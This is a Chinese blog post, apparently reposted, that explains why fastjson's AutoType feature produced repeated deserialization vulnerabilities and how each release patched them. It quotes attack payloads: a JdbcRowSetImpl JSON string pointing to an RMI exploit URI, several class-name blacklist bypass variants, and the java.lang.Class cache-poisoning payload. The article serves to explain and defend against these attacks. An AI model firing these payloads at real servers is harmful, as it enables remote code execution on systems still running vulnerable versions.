fastjson到底做錯了什么?為什么會被頻繁爆出漏洞?(推薦)

GitHub 15.8k Star 的Java工程師成神之路，不來了解一下嗎！

GitHub 15.8k Star 的Java工程師成神之路，真的不來了解一下嗎！

GitHub 15.8k Star 的Java工程師成神之路，真的真的不來了解一下嗎！

fastjson大家一定都不陌生，這是阿里巴巴的開源一個(gè)JSON解析庫，通常被用于將Java Bean和JSON 字符串之間進(jìn)行轉(zhuǎn)換。

前段時(shí)間，fastjson被爆出過多次存在漏洞，很多文章報(bào)道了這件事兒，并且給出了升級建議。

但是作為一個(gè)開發(fā)者，我更關(guān)注的是他為什么會頻繁被爆漏洞？于是我?guī)е苫?，去看了下fastjson的releaseNote以及部分源代碼。

最終發(fā)現(xiàn)，這其實(shí)和fastjson中的一個(gè)AutoType特性有關(guān)。

從2019年7月份發(fā)布的v1.2.59一直到2020年6月份發(fā)布的 v1.2.71 ，每個(gè)版本的升級中都有關(guān)于AutoType的升級。

下面是fastjson的官方releaseNotes 中，幾次關(guān)于AutoType的重要升級：

1.2.59發(fā)布，增強(qiáng)AutoType打開時(shí)的安全性 fastjson

1.2.60發(fā)布，增加了AutoType黑名單，修復(fù)拒絕服務(wù)安全問題 fastjson

1.2.61發(fā)布，增加AutoType安全黑名單 fastjson

1.2.62發(fā)布，增加AutoType黑名單、增強(qiáng)日期反序列化和JSONPath fastjson

1.2.66發(fā)布，Bug修復(fù)安全加固，并且做安全加固，補(bǔ)充了AutoType黑名單 fastjson

1.2.67發(fā)布，Bug修復(fù)安全加固，補(bǔ)充了AutoType黑名單 fastjson

1.2.68發(fā)布，支持GEOJSON，補(bǔ)充了AutoType黑名單。（引入一個(gè)safeMode的配置，配置safeMode后，無論白名單和黑名單，都不支持autoType。） fastjson

1.2.69發(fā)布，修復(fù)新發(fā)現(xiàn)高危AutoType開關(guān)繞過安全漏洞，補(bǔ)充了AutoType黑名單 fastjson

1.2.70發(fā)布，提升兼容性，補(bǔ)充了AutoType黑名單

甚至在fastjson的開源庫中，有一個(gè)Issue是建議作者提供不帶autoType的版本：

那么，什么是AutoType？為什么fastjson要引入AutoType？為什么AutoType會導(dǎo)致安全漏洞呢？本文就來深入分析一下。

AutoType 何方神圣？

fastjson的主要功能就是將Java Bean序列化成JSON字符串，這樣得到字符串之后就可以通過數(shù)據(jù)庫等方式進(jìn)行持久化了。

但是，fastjson在序列化以及反序列化的過程中并沒有使用Java自帶的序列化機(jī)制，而是自定義了一套機(jī)制。

其實(shí)，對于JSON框架來說，想要把一個(gè)Java對象轉(zhuǎn)換成字符串，可以有兩種選擇：

• 1、基于屬性
• 2、基于setter/getter

而我們所常用的JSON序列化框架中，F(xiàn)astJson和jackson在把對象序列化成json字符串的時(shí)候，是通過遍歷出該類中的所有g(shù)etter方法進(jìn)行的。Gson并不是這么做的，他是通過反射遍歷該類中的所有屬性，并把其值序列化成json。

假設(shè)我們有以下一個(gè)Java類：

class Store {
 private String name;
 private Fruit fruit;
 public String getName() {
 return name;
 }
 public void setName(String name) {
 this.name = name;
 }
 public Fruit getFruit() {
 return fruit;
 }
 public void setFruit(Fruit fruit) {
 this.fruit = fruit;
 }
}

interface Fruit {
}

class Apple implements Fruit {
 private BigDecimal price;
 //省略 setter/getter、toString等
}

當(dāng)我們要對他進(jìn)行序列化的時(shí)候，fastjson會掃描其中的getter方法，即找到getName和getFruit，這時(shí)候就會將name和fruit兩個(gè)字段的值序列化到JSON字符串中。

那么問題來了，我們上面的定義的Fruit只是一個(gè)接口，序列化的時(shí)候fastjson能夠把屬性值正確序列化出來嗎？如果可以的話，那么反序列化的時(shí)候，fastjson會把這個(gè)fruit反序列化成什么類型呢？

我們嘗試著驗(yàn)證一下，基于(fastjson v 1.2.68)：

Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);

以上代碼比較簡單，我們創(chuàng)建了一個(gè)store，為他指定了名稱，并且創(chuàng)建了一個(gè)Fruit的子類型Apple，然后將這個(gè)store使用JSON.toJSONString進(jìn)行序列化，可以得到以下JSON內(nèi)容：

toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}

那么，這個(gè)fruit的類型到底是什么呢，能否反序列化成Apple呢？我們再來執(zhí)行以下代碼：

Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);

執(zhí)行結(jié)果如下：

toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit={}}
Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)

可以看到，在將store反序列化之后，我們嘗試將Fruit轉(zhuǎn)換成Apple，但是拋出了異常，嘗試直接轉(zhuǎn)換成Fruit則不會報(bào)錯，如：

Fruit newFruit = newStore.getFruit();
System.out.println("getFruit : " + newFruit);

以上現(xiàn)象，我們知道，當(dāng)一個(gè)類中包含了一個(gè)接口（或抽象類）的時(shí)候，在使用fastjson進(jìn)行序列化的時(shí)候，會將子類型抹去，只保留接口（抽象類）的類型，使得反序列化時(shí)無法拿到原始類型。

那么有什么辦法解決這個(gè)問題呢，fastjson引入了AutoType，即在序列化的時(shí)候，把原始類型記錄下來。

使用方法是通過SerializerFeature.WriteClassName進(jìn)行標(biāo)記，即將上述代碼中的

 String jsonString = JSON.toJSONString(store);

修改成：

 String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);

即可，以上代碼，輸出結(jié)果如下：

System.out.println("toJSONString : " + jsonString);

{
 "@type":"com.hollis.lab.fastjson.test.Store",
 "fruit":{
 "@type":"com.hollis.lab.fastjson.test.Apple",
 "price":0.5
 },
 "name":"Hollis"
}

可以看到，使用SerializerFeature.WriteClassName進(jìn)行標(biāo)記后，JSON字符串中多出了一個(gè)@type字段，標(biāo)注了類對應(yīng)的原始類型，方便在反序列化的時(shí)候定位到具體類型

如上，將序列化后的字符串在反序列化，既可以順利的拿到一個(gè)Apple類型，整體輸出內(nèi)容：

toJSONString : {"@type":"com.hollis.lab.fastjson.test.Store","fruit":{"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit=Apple{price=0.5}}
getFruit : Apple{price=0.5}

這就是AutoType，以及fastjson中引入AutoType的原因。

但是，也正是這個(gè)特性，因?yàn)樵诠δ茉O(shè)計(jì)之初在安全方面考慮的不夠周全，也給后續(xù)fastjson使用者帶來了無盡的痛苦

AutoType 何錯之有？

因?yàn)橛辛薬utoType功能，那么fastjson在對JSON字符串進(jìn)行反序列化的時(shí)候，就會讀取@type到內(nèi)容，試圖把JSON內(nèi)容反序列化成這個(gè)對象，并且會調(diào)用這個(gè)類的setter方法。

那么就可以利用這個(gè)特性，自己構(gòu)造一個(gè)JSON字符串，并且使用@type指定一個(gè)自己想要使用的攻擊類庫。

舉個(gè)例子，黑客比較常用的攻擊類庫是com.sun.rowset.JdbcRowSetImpl，這是sun官方提供的一個(gè)類庫，這個(gè)類的dataSourceName支持傳入一個(gè)rmi的源，當(dāng)解析這個(gè)uri的時(shí)候，就會支持rmi遠(yuǎn)程調(diào)用，去指定的rmi地址中去調(diào)用方法。

而fastjson在反序列化時(shí)會調(diào)用目標(biāo)類的setter方法，那么如果黑客在JdbcRowSetImpl的dataSourceName中設(shè)置了一個(gè)想要執(zhí)行的命令，那么就會導(dǎo)致很嚴(yán)重的后果。

如通過以下方式定一個(gè)JSON串，即可實(shí)現(xiàn)遠(yuǎn)程命令執(zhí)行（在早期版本中，新版本中JdbcRowSetImpl已經(jīng)被加了黑名單）

{
"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true
}

這就是所謂的遠(yuǎn)程命令執(zhí)行漏洞，即利用漏洞入侵到目標(biāo)服務(wù)器，通過服務(wù)器執(zhí)行命令。

在早期的fastjson版本中（v1.2.25 之前），因?yàn)锳utoType是默認(rèn)開啟的，并且也沒有什么限制，可以說是裸著的。

從v1.2.25開始，fastjson默認(rèn)關(guān)閉了autotype支持，并且加入了checkAutotype，加入了黑名單+白名單來防御autotype開啟的情況。

但是，也是從這個(gè)時(shí)候開始，黑客和fastjson作者之間的博弈就開始了。

因?yàn)閒astjson默認(rèn)關(guān)閉了autotype支持，并且做了黑白名單的校驗(yàn)，所以攻擊方向就轉(zhuǎn)變成了"如何繞過checkAutotype"。

下面就來細(xì)數(shù)一下各個(gè)版本的fastjson中存在的漏洞以及攻擊原理，由于篇幅限制，這里并不會講解的特別細(xì)節(jié)，如果大家感興趣我后面可以單獨(dú)寫一篇文章講講細(xì)節(jié)。下面的內(nèi)容主要是提供一些思路，目的是說明寫代碼的時(shí)候注意安全性的重要性。

繞過checkAutotype，黑客與fastjson的博弈

在fastjson v1.2.41 之前，在checkAutotype的代碼中，會先進(jìn)行黑白名單的過濾，如果要反序列化的類不在黑白名單中，那么才會對目標(biāo)類進(jìn)行反序列化。

但是在加載的過程中，fastjson有一段特殊的處理，那就是在具體加載類的時(shí)候會去掉className前后的L和;，形如Lcom.lang.Thread;。

而黑白名單又是通過startWith檢測的，那么黑客只要在自己想要使用的攻擊類庫前后加上L和;就可以繞過黑白名單的檢查了，也不耽誤被fastjson正常加載。

如Lcom.sun.rowset.JdbcRowSetImpl;，會先通過白名單校驗(yàn)，然后fastjson在加載類的時(shí)候會去掉前后的L和，變成了com.sun.rowset.JdbcRowSetImpl`。

為了避免被攻擊，在之后的 v1.2.42版本中，在進(jìn)行黑白名單檢測的時(shí)候，fastjson先判斷目標(biāo)類的類名的前后是不是L和;，如果是的話，就截取掉前后的L和;再進(jìn)行黑白名單的校驗(yàn)。

看似解決了問題，但是黑客發(fā)現(xiàn)了這個(gè)規(guī)則之后，就在攻擊時(shí)在目標(biāo)類前后雙寫LL和;;，這樣再被截取之后還是可以繞過檢測。如LLcom.sun.rowset.JdbcRowSetImpl;;

魔高一尺，道高一丈。在 v1.2.43中，fastjson這次在黑白名單判斷之前，增加了一個(gè)是否以LL未開頭的判斷，如果目標(biāo)類以LL開頭，那么就直接拋異常，于是就又短暫的修復(fù)了這個(gè)漏洞。

黑客在L和;這里走不通了，于是想辦法從其他地方下手，因?yàn)閒astjson在加載類的時(shí)候，不只對L和;這樣的類進(jìn)行特殊處理，還對[也被特殊處理了。

同樣的攻擊手段，在目標(biāo)類前面添加[，v1.2.43以前的所有版本又淪陷了。

于是，在 v1.2.44版本中，fastjson的作者做了更加嚴(yán)格的要求，只要目標(biāo)類以[開頭或者以;結(jié)尾，都直接拋異常。也就解決了 v1.2.43及歷史版本中發(fā)現(xiàn)的bug。

在之后的幾個(gè)版本中，黑客的主要的攻擊方式就是繞過黑名單了，而fastjson也在不斷的完善自己的黑名單。

autoType不開啟也能被攻擊？

但是好景不長，在升級到 v1.2.47 版本時(shí)，黑客再次找到了辦法來攻擊。而且這個(gè)攻擊只有在autoType關(guān)閉的時(shí)候才生效。

是不是很奇怪，autoType不開啟反而會被攻擊。

因?yàn)樵趂astjson中有一個(gè)全局緩存，在類加載的時(shí)候，如果autotype沒開啟，會先嘗試從緩存中獲取類，如果緩存中有，則直接返回。黑客正是利用這里機(jī)制進(jìn)行了攻擊。

黑客先想辦法把一個(gè)類加到緩存中，然后再次執(zhí)行的時(shí)候就可以繞過黑白名單檢測了，多么聰明的手段。

首先想要把一個(gè)黑名單中的類加到緩存中，需要使用一個(gè)不在黑名單中的類，這個(gè)類就是java.lang.Class

java.lang.Class類對應(yīng)的deserializer為MiscCodec，反序列化時(shí)會取json串中的val值并加載這個(gè)val對應(yīng)的類。

如果fastjson cache為true，就會緩存這個(gè)val對應(yīng)的class到全局緩存中

如果再次加載val名稱的類，并且autotype沒開啟，下一步就是會嘗試從全局緩存中獲取這個(gè)class，進(jìn)而進(jìn)行攻擊。

所以，黑客只需要把攻擊類偽裝以下就行了，如下格式：

{
"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"
}

于是在 v1.2.48中，fastjson修復(fù)了這個(gè)bug，在MiscCodec中，處理Class類的地方，設(shè)置了fastjson cache為false，這樣攻擊類就不會被緩存了，也就不會被獲取到了。

在之后的多個(gè)版本中，黑客與fastjson又繼續(xù)一直都在繞過黑名單、添加黑名單中進(jìn)行周旋。

直到后來，黑客在 v1.2.68之前的版本中又發(fā)現(xiàn)了一個(gè)新的漏洞利用方式。

利用異常進(jìn)行攻擊

在fastjson中， 如果，@type 指定的類為 Throwable 的子類，那對應(yīng)的反序列化處理類就會使用到 ThrowableDeserializer

而在ThrowableDeserializer#deserialze的方法中，當(dāng)有一個(gè)字段的key也是 @type時(shí)，就會把這個(gè) value 當(dāng)做類名，然后進(jìn)行一次 checkAutoType 檢測。

并且指定了expectClass為Throwable.class，但是在checkAutoType中，有這樣一約定，那就是如果指定了expectClass ，那么也會通過校驗(yàn)。

因?yàn)閒astjson在反序列化的時(shí)候會嘗試執(zhí)行里面的getter方法，而Exception類中都有一個(gè)getMessage方法。

黑客只需要自定義一個(gè)異常，并且重寫其getMessage就達(dá)到了攻擊的目的。

這個(gè)漏洞就是6月份全網(wǎng)瘋傳的那個(gè)"嚴(yán)重漏洞"，使得很多開發(fā)者不得不升級到新版本。

這個(gè)漏洞在 v1.2.69中被修復(fù)，主要修復(fù)方式是對于需要過濾掉的expectClass進(jìn)行了修改，新增了4個(gè)新的類，并且將原來的Class類型的判斷修改為hash的判斷。

其實(shí)，根據(jù)fastjson的官方文檔介紹，即使不升級到新版，在v1.2.68中也可以規(guī)避掉這個(gè)問題，那就是使用safeMode

AutoType 安全模式？

可以看到，這些漏洞的利用幾乎都是圍繞AutoType來的，于是，在 v1.2.68版本中，引入了safeMode，配置safeMode后，無論白名單和黑名單，都不支持autoType，可一定程度上緩解反序列化Gadgets類變種攻擊。

設(shè)置了safeMode后，@type 字段不再生效，即當(dāng)解析形如{"@type": "com.java.class"}的JSON串時(shí)，將不再反序列化出對應(yīng)的類。

開啟safeMode方式如下：

ParserConfig.getGlobalInstance().setSafeMode(true);

如在本文的最開始的代碼示例中，使用以上代碼開啟safeMode模式，執(zhí)行代碼，會得到以下異常：

Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.hollis.lab.fastjson.test.Apple
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)

但是值得注意的是，使用這個(gè)功能，fastjson會直接禁用autoType功能，即在checkAutoType方法中，直接拋出一個(gè)異常。

后話

目前fastjson已經(jīng)發(fā)布到了 v1.2.72版本，歷史版本中存在的已知問題在新版本中均已修復(fù)。

開發(fā)者可以將自己項(xiàng)目中使用的fastjson升級到最新版，并且如果代碼中不需要用到AutoType的話，可以考慮使用safeMode，但是要評估下對歷史代碼的影響。

因?yàn)閒astjson自己定義了序列化工具類，并且使用asm技術(shù)避免反射、使用緩存、并且做了很多算法優(yōu)化等方式，大大提升了序列化及反序列化的效率。

之前有網(wǎng)友對比過：

當(dāng)然，快的同時(shí)也帶來了一些安全性問題，這是不可否認(rèn)的。

最后，其實(shí)我還想說幾句，雖然fastjson是阿里巴巴開源出來的，但是據(jù)我所知，這個(gè)項(xiàng)目大部分時(shí)間都是其作者溫少一個(gè)人在靠業(yè)余時(shí)間維護(hù)的。

知乎上有網(wǎng)友說："溫少幾乎憑一己之力撐起了一個(gè)被廣泛使用JSON庫，而其他庫幾乎都是靠一整個(gè)團(tuán)隊(duì)，就憑這一點(diǎn)，溫少作為“初心不改的阿里初代開源人”，當(dāng)之無愧。"

其實(shí)，關(guān)于fastjson漏洞的問題，阿里內(nèi)部也有很多人詬病過，但是詬病之后大家更多的是給予理解和包容。

fastjson目前是國產(chǎn)類庫中比較出名的一個(gè)，可以說是倍受關(guān)注，所以漸漸成了安全研究的重點(diǎn)，所以會有一些深度的漏洞被發(fā)現(xiàn)。就像溫少自己說的那樣：

"和發(fā)現(xiàn)漏洞相比，更糟糕的是有漏洞不知道被人利用。及時(shí)發(fā)現(xiàn)漏洞并升級版本修復(fù)是安全能力的一個(gè)體現(xiàn)。"

就在我寫這篇文章的時(shí)候，在釘釘上問了溫少一個(gè)問題，他竟然秒回，這令我很驚訝。因?yàn)槟翘焓侵苣?，周末釘釘可以做到秒回，這說明了什么？

他大概率是在利用自己的業(yè)余維護(hù)fastjson吧...

最后，知道了fastjson歷史上很多漏洞產(chǎn)生的原因之后，其實(shí)對我自己來說，我是"更加敢用"fastjson了...

致敬fastjson！致敬安全研究者！致敬溫少！

參考資料：

https://github.com/alibaba/fastjson/releases

https://github.com/alibaba/fastjson/wiki/security_update_20200601

https://paper.seebug.org/1192/

https://mp.weixin.qq.com/s/EXnXCy5NoGIgpFjRGfL3wQ

http://www.lmxspace.com/2019/06/29/FastJson-反序列化學(xué)習(xí)

總結(jié)

到此這篇關(guān)于fastjson到底做錯了什么?為什么會被頻繁爆出漏洞?的文章就介紹到這了,更多相關(guān)fastjson 漏洞內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家！